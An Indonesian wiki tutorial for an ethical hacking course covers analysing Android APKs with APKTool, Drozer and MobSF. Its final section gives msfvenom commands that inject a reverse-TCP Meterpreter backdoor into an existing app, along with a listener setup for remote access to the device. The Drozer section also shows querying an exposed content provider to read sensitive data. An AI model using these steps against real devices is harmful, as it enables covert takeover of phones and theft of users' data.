Hands-on: Analisis dan Eksploitasi APK Android

From OnnoWiki
Revision as of 05:24, 29 September 2024 by Onnowpurbo (talk | contribs) (Created page with "Untuk melakukan analisis dan eksploitasi APK Android dalam kuliah **ethical hacking**, kita akan menggunakan beberapa tools di Kali Linux 2024.3 seperti **APKTool**, **Drozer*...")
(diff) ← Older revision | Latest revision (diff) | Newer revision → (diff)
Jump to navigation Jump to search

Untuk melakukan analisis dan eksploitasi APK Android dalam kuliah **ethical hacking**, kita akan menggunakan beberapa tools di Kali Linux 2024.3 seperti **APKTool**, **Drozer**, dan **MobSF**. Berikut adalah langkah-langkah yang bisa diikuti:

      1. 1. **Analisis APK Android dengan APKTool**

APKTool digunakan untuk membongkar dan memodifikasi APK. Kita bisa memanfaatkan APKTool untuk dekompilasi APK dan melihat source code aplikasi, terutama file manifest yang berisi izin-izin penting.

        1. Langkah-langkah:

1. **Install APKTool**: Pastikan APKTool sudah terinstall. Jika belum, install dengan perintah:

  ```bash
  sudo apt install apktool
  ```

2. **Dekomplikasi APK**: Untuk menganalisis APK, pertama-tama kita dekompilasi file APK tersebut:

  ```bash
  apktool d target_app.apk -o output_folder
  ```
  Ini akan mengekstrak isi dari APK ke dalam folder `output_folder`.

3. **Analisis File AndroidManifest.xml**: File ini berisi izin-izin (permissions) yang diminta oleh aplikasi. Buka dan analisis apakah ada izin berbahaya seperti akses ke SMS, penyimpanan, atau lokasi yang tidak diperlukan.

4. **Memodifikasi dan Kompilasi Ulang APK**: Setelah memodifikasi, APK dapat dikompilasi ulang:

  ```bash
  apktool b output_folder -o new_app.apk
  ```

5. **Penandatanganan APK**: Setelah APK baru dihasilkan, tandatangani dengan kunci:

  ```bash
  jarsigner -keystore my-release-key.keystore new_app.apk alias_name
  ```
        1. Contoh:

Misalkan aplikasi meminta izin akses SMS tanpa alasan yang jelas. Kita bisa menggunakan APKTool untuk memodifikasi manifest dan menonaktifkan izin tersebut, lalu mengkompilasi ulang aplikasi.

      1. 2. **Eksploitasi Aplikasi Menggunakan Drozer**

Drozer adalah tool yang sangat kuat untuk mengeksploitasi APK Android, khususnya untuk memeriksa kelemahan di dalam komponen aplikasi seperti aktivitas, broadcast receivers, dan content providers.

        1. Langkah-langkah:

1. **Install Drozer**: Install drozer di Kali Linux.

  ```bash
  sudo apt install drozer
  ```

2. **Setup Drozer di Perangkat Android**: Instal `drozer-agent.apk` di perangkat Android dan jalankan untuk mendapatkan akses shell:

  ```bash
  adb install drozer-agent.apk
  adb forward tcp:31415 tcp:31415
  ```

3. **Analisis Aplikasi dengan Drozer**: Setelah setup, koneksikan Drozer dengan aplikasi target:

  ```bash
  drozer console connect
  ```

4. **Pemeriksaan Permukaan Serangan**: Gunakan perintah berikut untuk menganalisis permukaan serangan dari aplikasi:

  ```bash
  run app.package.info -a com.example.targetapp
  ```

5. **Eksploitasi Komponen yang Rentan**: Jika aplikasi mengekspos komponen seperti activity atau content provider, kita bisa mengeksploitasi kelemahan ini. Sebagai contoh, jika ada `ContentProvider` yang rentan:

  ```bash
  run app.provider.query content://com.example.targetapp.provider
  ```
        1. Contoh Eksploitasi:

Misalkan sebuah aplikasi memiliki `content provider` yang tidak diatur dengan benar, kita bisa mengakses data sensitif dari aplikasi menggunakan Drozer.

      1. 3. **Analisis Vulnerabilitas APK dengan MobSF**

Mobile Security Framework (MobSF) adalah tool otomatis yang mempermudah analisis keamanan APK secara menyeluruh.

        1. Langkah-langkah:

1. **Install MobSF**: Jika MobSF belum terinstal, gunakan Docker untuk menginstall:

  ```bash
  docker pull opensecurity/mobile-security-framework-mobsf
  docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
  ```

2. **Upload APK**: Setelah MobSF berjalan, buka browser dan akses `http://localhost:8000`. Upload APK yang ingin dianalisis.

3. **Analisis Otomatis**: MobSF akan secara otomatis melakukan analisis statik pada APK, termasuk memeriksa komponen berbahaya, izin yang tidak semestinya, dan potensi eksploitasi.

        1. Contoh:

Dengan MobSF, kita bisa menemukan kelemahan umum seperti *hardcoded credentials*, *insecure storage*, dan *weak cryptographic implementations*.

      1. 4. **Menggunakan APK untuk Memasang Backdoor**

Eksploitasi lanjutan bisa mencakup memasang backdoor di APK menggunakan Metasploit.

        1. Langkah-langkah:

1. **Membuat APK Backdoor dengan Metasploit**:

  ```bash
  msfvenom -p android/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -o backdoor.apk
  ```

2. **Inject Backdoor ke APK**:

  ```bash
  msfvenom -x original_app.apk -p android/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -o infected_app.apk
  ```

3. **Menjalankan Listener**:

  ```bash
  msfconsole
  use exploit/multi/handler
  set payload android/meterpreter/reverse_tcp
  set LHOST <IP>
  set LPORT <PORT>
  exploit
  ```

4. **Jalankan APK di Target**: Setelah APK backdoor diinstal di perangkat target, kita bisa mendapatkan sesi Meterpreter dan mengakses perangkat secara jarak jauh.

      1. Kesimpulan

Dengan menggunakan kombinasi tools seperti **APKTool**, **Drozer**, dan **MobSF**, kita dapat melakukan analisis mendalam terhadap APK Android serta mengeksploitasi kerentanannya. Langkah-langkah ini mencakup analisis source code, pengujian permukaan serangan, dan eksploitasi komponen rentan.


Pranala Menarik